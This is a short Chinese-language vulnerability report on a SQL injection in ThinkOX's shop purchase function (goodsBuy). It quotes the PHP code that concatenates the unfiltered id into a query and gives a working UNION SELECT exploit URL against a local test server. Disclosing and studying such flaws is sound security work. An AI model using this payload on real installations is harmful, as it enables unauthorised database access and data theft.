ThinkOX 最新版 SQL 注入漏洞 #4

/Application/Shop/Controller/IndexController.class.php

    public function goodsBuy($id = 0, $name = '', $address = '', $zipcode = '', $phone = '', $address_id = '')     {         $address = op_t($address);         $address_id = intval($address_id);         $num = 1;         if (!is_login()) {             $this->error('请先登录！');         }         $goods = D('shop')->where('id=' . $id)->find();         if ($goods) {             if($num<=0){                 $this->error('商品购买数量不能为负数。');             }             //验证开始              //判断商品余量             if ($num > $goods['goods_num']) {                 $this->error('商品余量不足');              }             //扣tox_money             $tox_money_need = $num * $goods['tox_money_need'];             $my_tox_money = getMyToxMoney();

商品的id未经过过滤，并且用拼接的方式带入where查询，导致注入。
_(:з」∠)_为什么address和address_id过滤了id却不过滤呢。。

用户登录后访问地址：

http://10.211.55.3/thinkox/index.php?s=/shop/index/goodsBuy/name/%E5%95%8A/address/a/zipcode/123456/phone/13322222222/id/1)union%20select%201,user(),3,4,5,-9999,7,8,9,10,11,12,13%23.html

然后再访问：

http://10.211.55.3/thinkox/index.php?s=/usercenter/public/getinformation.html